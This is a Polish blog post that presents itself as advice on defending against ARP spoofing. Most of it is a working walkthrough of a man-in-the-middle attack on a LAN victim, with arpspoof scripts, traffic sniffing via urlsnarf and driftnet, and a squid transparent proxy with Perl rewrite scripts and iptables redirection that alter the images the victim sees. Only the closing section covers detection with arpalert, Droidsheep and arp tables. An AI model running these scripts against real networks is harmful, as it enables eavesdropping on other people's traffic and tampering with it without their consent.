Jak bronić się przed atakiem arpspoof?

Grzebiąc w swoich linuksowych notatkach znalazłem instrukcje jak przy pomocy arpspoof, proxy i serwera www można zrobić komuś żart. Polega on na odwróceniu lub podmienieniu obrazków na wszystkich oglądanych przez ofiarę stronach www na inne np. coś śmiesznego. 

Tak, tak, jak by nie patrzeć to jest atak arpspoof typu MITM który jest naprawdę łatwy do zrealizowania. Poniżej będzie można zobaczyć jak wygląda przeprowadzenie takiego ataku w sieci LAN w praktyce i jak się przed tym bronić na komputerze i smartfonie.

Przykład ataku arpspoof

Poniżej pokaże jak okłamać stacje ofiary i bramę w sieci aby cały ruch przechodził przez mój komputer co pozwoli podejrzeć ruch z komputera ofiary. Na początek trzeba zainstalować potrzebne pakiety takie jak dsniff który zawiera arpspoof i urlsnarf lub driftnet dzięki któremu zobaczymy obrazki jakie są wyświetlane na podsłuchiwanej stacji.

aptitude install dsniff xterm driftnet

Poniżej skrypt który ułatwi to wszystko uruchomić i obserwować. Na początek pozwalamy na przekazywanie pakietów przez nasz interfejs. Następnie definiujemy adres IP bramy w sieci i naszego celu.

#! /bin/bash
echo 1 > /proc/sys/net/ipv4/ip_forward
gateway=172.18.10.254
target=172.18.10.14
xterm -e arpspoof -i wlan0 -t $gateway $target &
xterm -e arpspoof -i wlan0 -t $target $gateway &
xterm -e urlsnarf -i wlan0 &
xterm -e driftnet &

Po odpaleniu skryptu okazało się że na podsłuchiwanej stacji ktoś ogląda sobie http://strims.pl/s/dlugieszyny/. No i tu się zaczyna zabawa. Pierwsze co przychodzi na myśl żeby zamienić te długie nóżki na coś innego np. na prawdziwe szyny kolejowe, tak żeby było tematycznie.

Atak arpspoof

Zamiana

Mam cel, chce zamienić obrazki czyli pliki jpg wyświetlane w przeglądarce na coś swojego lub obrócić oryginały o 180 stopni. Aby go zrealizować muszę zainstalować serwer www lighttpd, serwer proxy squid i program, kombajn do obróbki grafiki imagemagick.

aptitude install squid lighttpd imagemagick

Konfiguracja serwera www lighttpd

Sprawdzam czy w lighttpd.conf document.root wskazuje na /var/www/

cat /etc/lighttpd/lighttpd.conf |grep server.document-root
server.document-root = "/var/www"

Tworzę folder w /var/www replace i nadaje uprawniania

mkdir /var/www/replace
sudo chown www-data:www-data /var/www/replace
sudo chmod 775 /var/www/replace
sudo gpasswd -a proxy www-data

Do /var/www/replace wgrywam plik szyny.jpg i nadaje uprawniania. Każdy musi sobie znaleźć swoje szyny.jpg :)

sudo chown www-data:www-data /var/www/szyny.jpg
chmod 775 /var/www/szyny.jpg

Konfiguracja serwera proxy squid3

Cała konfiguracja squid znajduje się w pliku /etc/squid3/squid.conf

Szukam linii jak poniżej i usuwam hasz

# acl localnet src 10.0.0.0/8# RFC1918 possible internal network
# acl localnet src 172.16.0.0/12# RFC1918 possible internal network
# acl localnet src 192.168.0.0/16# RFC1918 possible internal network

Szukam linii http_access deny all i zamieniam na http_access allow all

Szukam linii http_port 3128 i zamieniam na http_port 3128 intercept (intercept to nowy zamiennik transparent)

Dodaje linię url_rewrite_program /etc/squid3/replace.pl

To koniec konfiguracji samego squida czas na skrypty zamieniające pliki jpg i gif

Skrypty znalazłem na http://compexperience.blogspot.com i trochę zmodyfikowałem pod siebie.

nano  /etc/squid3/replace.pl

#!/usr/bin/perl
$|=1;
$count = 0;
$pid = $$;
while (<>) {
 chomp $_;
 if ($_ =~ /(.*\.jpg)/i) {
 $url = $1;
 print "http://127.0.0.1/szyny.jpg\n";
 }
 elsif ($_ =~ /(.*\.gif)/i) {
 $url = $1;
print "http://127.0.0.1/szyny.jpg\n";
}
 else {
 print "$_\n";;
 }
 $count++;
}

drugi skrypt obracający obrazki o 180 stopni

nano  /etc/squid3/flip.pl

#!/usr/bin/perl
 $|=1;
 $count = 0;
 $pid = $$;
 while (<>) {
 chomp $_;
 if ($_ =~ /(.*\.jpg)/i) {
 $url = $1;
 system("/usr/bin/wget", "-q", "-O","/var/www/replace/$pid-$count.jpg", "$url");
 system("/usr/bin/mogrify", "-flip","/var/www/replace/$pid-$count.jpg");
 print "http://127.0.0.1/replace/$pid-$count.jpg\n";
 }
 elsif ($_ =~ /(.*\.gif)/i) {
 $url = $1;
 system("/usr/bin/wget", "-q", "-O","/var/www/replace/$pid-$count.gif", "$url");
 system("/usr/bin/mogrify", "-flip","/var/www/replace/$pid-$count.gif");
 print "http://127.0.0.1/replace/$pid-$count.gif\n";
 }
 else {
 print "$_\n";;
 }
 $count++;
 }

Nadaje uprawnienia dla obu skryptów

chmod 755 /etc/squid3/flip.pl
chmod 755 /etc/squid3/replace.pl

Restartuje serwer www i proxy

/etc/init.d/squid3 restart
/etc/init.d/lighttpd restart

Poniższy skrypt który uruchamia wszystko za jednym razem różni się od tego pierwszego tym że pojawiły się reguły iptables. Przekierowują one ruch www do proxy które w locie obrabia obrazki i dzięki czemu uzyskam mój cel, podmianę. Dodatkowo dochodzi adres local który jest adresem mojej stacji na której uruchomiłem serwer www i proxy.

#! /bin/bash
 echo 1 > /proc/sys/net/ipv4/ip_forward
 gw=172.18.10.254
 target=172.18.10.12
 local=172.18.10.14
 iptables -F
 iptables -t nat -F
 iptables -t nat -A PREROUTING -p tcp -m tcp --dport 80 -j DNAT --to-destination $local:3128
 /etc/init.d/lighttpd restart
 /etc/init.d/squid3 restart
 xterm -e arpspoof -t $gw $target &
 xterm -e arpspoof -t $target $gw &

Oto wynik :):)

techfreak_arpspoof2_1

Jak się bronić przed arpspoof ?

Ja znalazłem program arpalert który monitoruje stan przypisanych adresów mac do IP i do którego można podpiąć własne skrypty powiadamiające. Skonfigurowałem sobie go tak aby wyświetlał mi powiadomienie jak poniżej a do tego blokował przy pomocy iptables ruch z nowego (atakującego) mac adresu.

techfreak_arpspoof_arpalert_1

Konfiguracja Arpalert

Konfiguracje arpalert przeprowadza się w pliku /etc/arpalert/arpalert.conf i zmieniam tam trzy sprawy, użytkownika, na root aby wyświetlać powiadomienia, interfejs na swój np wlan0. Na koniec wskazuje jaki skrypt ma wykonać jeśli wykryje zmiany.

nano /etc/arpalert/arpalert.conf

user = root
interface = wlan0
action on detect = "/etc/arpalert/alert"

nano /etc/arpalert/alert

#! /bin/bash

case $5 in
0 )
AlertType="IP change";;
1 )
AlertType="MAC address already detected but not in white list";;
2 )
AlertType="MAC address in black list";;
3 )
AlertType="New MAC address";;
4 )
AlertType="Unauthorized ARP request";;
5 )
AlertType="Abusive number of ARP request detected";;
6 )
AlertType="Ethernet MAC address different from ARP MAC address";;
7 )
AlertType="Flood detected";;
8 )
AlertType="New MAC address whithout IP address";;
9 )
AlertType="MAC change";;
* )
AlertType="unknown";;
esac

 export DISPLAY=:0
 notify-send "Arpalert!!!" "Time $(date +%d-%m-%y-%H:%M) MAC: $1 Interface: $4"
 #logowanie
 echo "$AlertType Time $(date +%d-%m-%y-%H:%M)  MAC: $1 Interface: $4" >> /var/log/arpalert.txt
 #blokowanie
 iptables -A INPUT -m mac --mac-source $1 -j DROP

Nadaje uprawneinia i dodaje do autostartu

chmod 755 /etc/arpalert/alert
update-rc.d arpalert defaults

A co ze smartfonem?

Aby uchronić się przed atakiem typu arpspoof wystarczy pobrać i zainstalować program Droidsheep ze sklepu PLAY. Jak widać poniżej po zainstalowaniu programu wykrył on zmianę mac adresu bramy. Fajnie że od razu wyłącza Wifi aby zapobiec dalszemu podsłuchiwaniu.

techfreak_driodsheep1 techfreak_driodsheep2 techfreak_driodsheep3 techfreak_driodsheep4

Na co trzeba uważać

Jedynym problemem chyba na jaki możemy natrafić to że zainstalowaliśmy oprogramowania monitorujące gdy już ktoś nas podsłuchiwał. Jestem w poszukiwaniu fajnych rozwiązań ale chyba najprościej sprawdzić tablice arp -a i upewnić się że nie mamy tam dwóch adresów IP z tym samym adresem mac.

Może ktoś ma jakieś inne pomysły ?

Share Button

Przemek

Twórca portalu techfreak, elektronik, pasjonat wszystkiego co fajnie, co można przerobić. W wolnym czasie grzebie przy nettemp. A sport jaki uprawia to mini drony klasy 250.